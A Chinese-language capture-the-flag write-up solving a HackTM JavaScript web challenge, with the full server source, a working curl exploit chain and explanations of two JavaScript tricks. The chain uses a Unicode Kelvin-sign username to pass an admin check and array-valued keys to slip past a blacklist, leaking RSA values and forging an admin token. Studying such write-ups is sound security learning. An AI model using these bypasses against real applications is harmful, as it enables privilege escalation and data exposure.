HackTM 遇到的一道 JavaScript 相关 CTF 考题,太久没接触相关领域以至于都快忘记相关的考点了,这里再特定总结一下。

题目分析

题目链接如下:http://167.172.165.153:60000/

可以看到题目直接给出了相关源码:

const express = require("express");
const cors = require("cors");
const app = express();
const uuidv4 = require("uuid/v4");
const md5 = require("md5");
const jwt = require("express-jwt");
const jsonwebtoken = require("jsonwebtoken");
const server = require("http").createServer(app);
const io = require("socket.io")(server);
const bigInt = require("big-integer");
const { flag, p, n, _clearPIN, jwtSecret } = require("./flag");

const config = {
  port: process.env.PORT || 8081,
  width: 120,
  height: 80,
  usersOnline: 0,
  message: "Hello there!",
  p: p,
  n: n,
  adminUsername: "hacktm",
  whitelist: ["/", "/login", "/init"],
  backgroundColor: 0x888888,
  version: Number.MIN_VALUE
};

io.sockets.on("connection", function(socket) {
  config.usersOnline++;
  socket.on("disconnect", function() {
    config.usersOnline--;
  });
});

let users = {
  0: {
    username: config.adminUsername,
    rights: Object.keys(config)
  }
};

let board = new Array(config.height)
  .fill(0)
  .map(() => new Array(config.width).fill(config.backgroundColor));
let boardString = boardToStrings();

app.use(express.json());
app.use(cors());
app.use(
  jwt({ secret: jwtSecret }).unless({
    path: config.whitelist
  })
);
app.use(function(error, req, res, next) {
  if (error.name === "UnauthorizedError") {
    res.json(err("Invalid token or not logged in."));
  }
});

function sign(o) {
  return jsonwebtoken.sign(o, jwtSecret);
}

function isAdmin(u) {
  return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}

function ok(data = {}) {
  return { status: "ok", data: data };
}

function err(msg = "Something went wrong.") {
  return { status: "error", message: msg };
}

function onlyUnique(value, index, self) {
  return self.indexOf(value) === index;
}

app.get("/", (req, res) => {
  // Get current board
  res.json(ok({ board: boardString }));
});

app.post("/init", (req, res) => {
  // Initialize new round and sign admin token
  // RSA protected!
  // POST
  // {
  //   p:"0",
  //   q:"0"
  // }

  let { p = "0", q = "0", clearPIN } = req.body;

  let target = md5(config.n.toString());

  let pwHash = md5(
    bigInt(String(p))
      .multiply(String(q))
      .toString()
  );

  if (pwHash == target && clearPIN === _clearPIN) {
    // Clear the board
    board = new Array(config.height)
      .fill(0)
      .map(() => new Array(config.width).fill(config.backgroundColor));
    boardString = boardToStrings();

    io.emit("board", { board: boardString });
  }

  //Sign the admin ID
  let adminId = pwHash
    .split("")
    .map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
    .reduce((a, b) => a + b);

  console.log(adminId);

  res.json(ok({ token: sign({ id: adminId }) }));
});

app.get("/flag", (req, res) => {
  // Get the flag
  // Only for root
  if (req.user.id == 0) {
    res.send(ok({ flag: flag }));
  } else {
    res.send(err("Unauthorized"));
  }
});

app.get("/serverInfo", (req, res) => {
  // Get server info
  // Only for logged in users

  let user = users[req.user.id] || { rights: [] };
  let info = user.rights.map(i => ({ name: i, value: config[i] }));
  res.json(ok({ info: info }));
});

app.post("/paint", (req, res) => {
  // Paint on the canvas
  // Only for logged in users
  // POST
  // {
  //   x:0,
  //   y:0
  // }
  let user = users[req.user.id] || {};

  x = req.body.x;
  y = req.body.y;

  let color = user.color || 0x0;

  if (board[y] && board[y][x] >= 0) {
    board[y][x] = color;
    boardString = boardToStrings();
    io.emit("change", { change: { pos: [x, y], color: color } });
    res.send(ok());
  } else {
    res.send(err("Invalid painting"));
  }
});

app.post("/updateUser", (req, res) => {
  // Update user color and rights
  // Only for admin
  // POST
  // {
  //   color: 0xDEDBEE,
  //   rights: ["height", "width", "usersOnline"]
  // }
  let uid = req.user.id;
  let user = users[uid];
  if (!user || !isAdmin(user)) {
    res.json(err("You're not an admin!"));
    return;
  }
  let color = parseInt(req.body.color);
  users[uid].color = (color || 0x0) & 0xffffff;
  let rights = req.body.rights || [];
  if (rights.length > 0 && checkRights(rights)) {
    users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
  }

  res.json(ok({ user: users[uid] }));
});

app.post("/login", (req, res) => {
  // Login
  // POST
  // {
  //   username: "dumbo",
  // }

  let u = {
    username: req.body.username,
    id: uuidv4(),
    color: Math.random() < 0.5 ? 0xffffff : 0x0,
    rights: [
      "message",
      "height",
      "width",
      "version",
      "usersOnline",
      "adminUsername",
      "backgroundColor"
    ]
  };

  if (isValidUser(u)) {
    users[u.id] = u;
    res.send(ok({ token: sign({ id: u.id }) }));
  } else {
    res.json(err("Invalid creds"));
  }
});

function isValidUser(u) {
  return (
    u.username.length >= 3 &&
    u.username.toUpperCase() !== config.adminUsername.toUpperCase()
  );
}

function boardToStrings() {
  return board.map(b => b.join(","));
}

function checkRights(arr) {
  let blacklist = ["p", "n", "port"];
  
  for (let i = 0; i < arr.length; i++) {
    const element = arr[i];
    if (blacklist.includes(element)) {
      return false;
    }
  }
  return true;
}

server.listen(config.port, () =>
  console.log(`Server listening on port ${config.port}!`)
);

首先是源码审计,很容易就能看到路由:

app.get("/flag", (req, res) => {
  // Get the flag
  // Only for root
  if (req.user.id == 0) {
    res.send(ok({ flag: flag }));
  } else {
    res.send(err("Unauthorized"));
  }
});

该路由要求用户 id 等于 0,结合到程序使用了 jwt,在无法伪造 jwt 的情况下,需要考虑如何获得 id 为 0 的用户的 jwt,此时观察到以下路由:

app.post("/init", (req, res) => {
  // Initialize new round and sign admin token
  // RSA protected!
  // POST
  // {
  //   p:"0",
  //   q:"0"
  // }

  let { p = "0", q = "0", clearPIN } = req.body;

  let target = md5(config.n.toString());

  let pwHash = md5(
    bigInt(String(p))
      .multiply(String(q))
      .toString()
  );

  if (pwHash == target && clearPIN === _clearPIN) {
    // Clear the board
    board = new Array(config.height)
      .fill(0)
      .map(() => new Array(config.width).fill(config.backgroundColor));
    boardString = boardToStrings();

    io.emit("board", { board: boardString });
  }

  //Sign the admin ID
  let adminId = pwHash
    .split("")
    .map((c, i) => c.charCodeAt(0) ^ target.charCodeAt(i))
    .reduce((a, b) => a + b);

  console.log(adminId);

  res.json(ok({ token: sign({ id: adminId }) }));
});

很明显在 n = p * q 时,有 adminId 等于 0,此时能获得 id 为 0 的 token,因此下一步就是如何泄露程序的 p 和 n,这里观察到以下路由:

app.get("/serverInfo", (req, res) => {
  // Get server info
  // Only for logged in users

  let user = users[req.user.id] || { rights: [] };
  let info = user.rights.map(i => ({ name: i, value: config[i] }));
  res.json(ok({ info: info }));
});

会将 user.rights 内的值作为 key 得到 config[key] 的值,而 p / n 恰好在 config 对象内,所以下一步就是如何给 user.rights 增加 p 和 n 这两个值,继续看下一个路由:

app.post("/updateUser", (req, res) => {
 // Update user color and rights
 // Only for admin
 // POST
 // {
 //   color: 0xDEDBEE,
 //   rights: ["height", "width", "usersOnline"]
 // }
 let uid = req.user.id;
 let user = users[uid];
 if (!user || !isAdmin(user)) {
   res.json(err("You're not an admin!"));
   return;
 }
 let color = parseInt(req.body.color);
 users[uid].color = (color || 0x0) & 0xffffff;
 let rights = req.body.rights || [];
 if (rights.length > 0 && checkRights(rights)) {
   users[uid].rights = user.rights.concat(rights).filter(onlyUnique);
 }

 res.json(ok({ user: users[uid] }));
});

很明显,只要满足 !isAdmin(user)checkRights(rights) 两个函数即可。看两个函数的实现:

function isAdmin(u) {
  return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}

function checkRights(arr) {
  let blacklist = ["p", "n", "port"];
  
  for (let i = 0; i < arr.length; i++) {
    const element = arr[i];
    if (blacklist.includes(element)) {
      return false;
    }
  }
  return true;
}

结合注册用户时的检验函数:

function isValidUser(u) {
  return (
    u.username.length >= 3 &&
    u.username.toUpperCase() !== config.adminUsername.toUpperCase()
  );
}

很明显本题的考点非常清楚:

  1. 找到一个字符串 s 使其满足 s.toUpperCase() !== config.adminUsername.toUpperCase()s.toLowerCase() == config.adminUsername.toLowerCase()
  2. 找到属性 key 使其满足 ["p", "n", "port"].includes(key) === false 而且 config[key] === p

下面直接贴 exp:

exp

# /login
curl --location --request POST 'http://167.172.165.153:60001/login' \
--header 'Content-Type: application/json' \
--data-raw '{
	"username": "hacKtm"
}'
# {"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImVmNDdlZTM2LTZjZTMtNGNmMS04OThiLWIwMGEwMGY2NTQ3NiIsImlhdCI6MTU4MDYxNzY3OH0.yzF9x5J7tbnjUWt-rXRd-WOKHXYTC1u9RFgcdv6DSEs"}}

# /updateUser
curl --location --request POST 'http://167.172.165.153:60001/updateUser' \
--header 'Content-Type: application/json' \
--header 'Authorization:  Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImVmNDdlZTM2LTZjZTMtNGNmMS04OThiLWIwMGEwMGY2NTQ3NiIsImlhdCI6MTU4MDYxNzY3OH0.yzF9x5J7tbnjUWt-rXRd-WOKHXYTC1u9RFgcdv6DSEs' \
--data-raw '{
	"color": 123,
	"rights": [["n"],["p"]]
}'
# {"status":"ok","data":{"user":{"username":"hacKtm","id":"ef47ee36-6ce3-4cf1-898b-b00a00f65476","color":0,"rights":["message","height","width","version","usersOnline","adminUsername","backgroundColor",["n"],["p"]]}}}

# /serverInfo
curl --location --request GET 'http://167.172.165.153:60001/serverInfo' \
--header 'Content-Type: application/json' \
--header 'Authorization:  Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImVmNDdlZTM2LTZjZTMtNGNmMS04OThiLWIwMGEwMGY2NTQ3NiIsImlhdCI6MTU4MDYxNzY3OH0.yzF9x5J7tbnjUWt-rXRd-WOKHXYTC1u9RFgcdv6DSEs' 
# "status":"ok","data":{"info":[{"name":"message","value":"Hello there!"},{"name":"height","value":80},{"name":"width","value":120},{"name":"version","value":5e-324},{"name":"usersOnline","value":17},{"name":"adminUsername","value":"hacktm"},{"name":"backgroundColor","value":8947848},{"name":["n"],"value":"54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979"},{"name":["p"],"value":"192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617"}]}}

# /init
curl --location --request POST 'http://167.172.165.153:60001/init' \
--header 'Content-Type: application/json' \
--header 'Authorization:  Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImVmNDdlZTM2LTZjZTMtNGNmMS04OThiLWIwMGEwMGY2NTQ3NiIsImlhdCI6MTU4MDYxNzY3OH0.yzF9x5J7tbnjUWt-rXRd-WOKHXYTC1u9RFgcdv6DSEs' \
--data-raw '{
	"p": "192342359675101460380863753759239746546129652637682939698853222883672421041617811211231308956107636139250667823711822950770991958880961536380231512617",
	"q": "283463585975138667365296941492014484422030788964145259030277643596460860183630041214426435642097873422136064628904111949258895415157497887086501927987",
	"clearPIN": "2333"
}'
# {"status":"ok","data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgwNjE4ODgyfQ.rBRCrfHfhhv_hfgN9ZZedzRMOQQ8wj0zBXiqobX-B7Q"}}

# /flag
curl --location --request GET 'http://167.172.165.153:60001/flag' \
--header 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MCwiaWF0IjoxNTgwNjE4ODgyfQ.rBRCrfHfhhv_hfgN9ZZedzRMOQQ8wj0zBXiqobX-B7Q'
# {"status":"ok","data":{"flag":"HackTM{Draw_m3_like_0ne_of_y0ur_japan3se_girls}"}}

JavaScript Tricks

Unicode

看以下这段代码:

for(let i = 0; i < 0xffff; i++) {
    let c = String.fromCharCode(i)
    if(c.toLowerCase() == 'k' && c.toUpperCase()!= 'K') {
        console.log(i)
    }
}

正常情况下应该没有任何结果,但在 js 里,会得到一个很有意思的值 8490,对应的字符是 K,该字符并非大写字母 K ,而是拉丁字母,但对应的小写得到的是 k,这也算一个比较有意思的 JavaScript Trick,剩下的还有许多字母也有这种特性,这里就不再多讲了。

toString

观察以下代码:

$ node
Welcome to Node.js v12.4.0.
Type ".help" for more information.
> const array = ['n']
undefined
> console.log(array)
[ 'n' ]
undefined
> array
[ 'n' ]
> array + 'c'
'nc'

这主要是因为 JavaScript 对 Array 对象的 toString 函数的默认实现是等价于 array.join(','),返回由 , 拼接而成的字符串,而在访问 JavaScript 对象时,如果以数组作为键名,实际是以数组 toString() 函数的返回值作为键名,因此继续看以下代码:

> let a = ['a']
undefined
> let aa = ['a']
undefined
> aa === a
false
> let b = {}
undefined
> b[a] = 'c'
'c'
> b[a] === b[aa]
true

不难理解,由于两个数组是不同的对象,因此 a === aa 返回的是 false;而二者 toString() 函数的返回值相同,因此在对象中二者实际是同一个键,b[a] === b[aa] 返回的是 true